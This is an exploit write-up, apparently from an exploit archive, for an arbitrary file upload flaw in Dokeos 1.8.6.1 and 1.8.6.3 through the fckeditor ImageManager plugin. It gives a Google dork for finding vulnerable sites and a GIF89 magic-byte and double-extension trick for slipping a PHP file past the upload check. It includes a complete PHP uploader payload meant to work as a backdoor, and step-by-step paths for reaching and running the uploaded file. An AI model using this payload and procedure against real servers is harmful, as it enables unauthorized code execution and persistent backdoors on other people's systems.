Dokeos versions 1.8.6.1 and 1.8.6.3 suffer from a remote file upload vulnerability via an fckeditor.
a34c5bc273539d18504d7ef6b95850754f1b0d7d3e22ab812753d75fb41c2d49# Exploit Title: Dokeos 1.8.6.3 and 1.8.6.1- Arbitrary File Upload
# Google Dork: "Plateforme Dokeos 1.8.6.3 " or 1.8.6.1
# Date: 17/09/2019
# Exploit Author: Sohel Yousef Jellyfish security team
# Vendor Homepage: https://www.dokeos.com/
# Software Link: https://www.dokeos.com/
# Version: 1.8.6.3 - 1.8.6.1
# Tested on: kali linux
# CVE : N/A
# go to this dir to upload your file dokeos
1.8.6.3/main/inc/lib/fckeditor/editor/plugins/ImageManager/manager.php
# you can insert and upload files rename your file to bel like
backdoor.php.gif
# and add this GIF89;aGIF89;aGIF89;a before <?PHP
# to be like this for examlple
GIF89;aGIF89;aGIF89;a<html>
<head>
<title>PHP Test</title>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="upload file" name="submit">
</form>
</head>
<body>
<?php echo '<p>FILE UPLOAD</p><br>';
$tgt_dir = "uploads/";
$tgt_file = $tgt_dir.basename($_FILES['fileToUpload']['name']);
echo "<br>TARGET FILE= ".$tgt_file;
//$filename = $_FILES['fileToUpload']['name'];
echo "<br>FILE NAME FROM VARIABLE:- ".$_FILES["fileToUpload"]["name"];
if(isset($_POST['submit']))
{
if(file_exists("uploads/".$_FILES["fileToUpload"]["name"]))
{ echo "<br>file exists, try with another name"; }
else {
echo "<br>STARTING UPLOAD PROCESS<br>";
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],
$tgt_file))
{ echo "<br>File UPLOADED:- ".$tgt_file; }
else { echo "<br>ERROR WHILE UPLOADING FILE<br>"; }
}
}
?>
</body>
</html>
# upload the file and you can find your file here on this image browser
main/inc/lib/fckeditor/editor/plugins/ImageManager/images.php
# click and view the image / file you and will be here --->
dokeos/main/upload/users/0/my_files/.thumbs/.yourfile.php.gif
# remove .thumbs. to be like this
/main/upload/users/0/my_files/yourfile.php.gif
# and your file are ready
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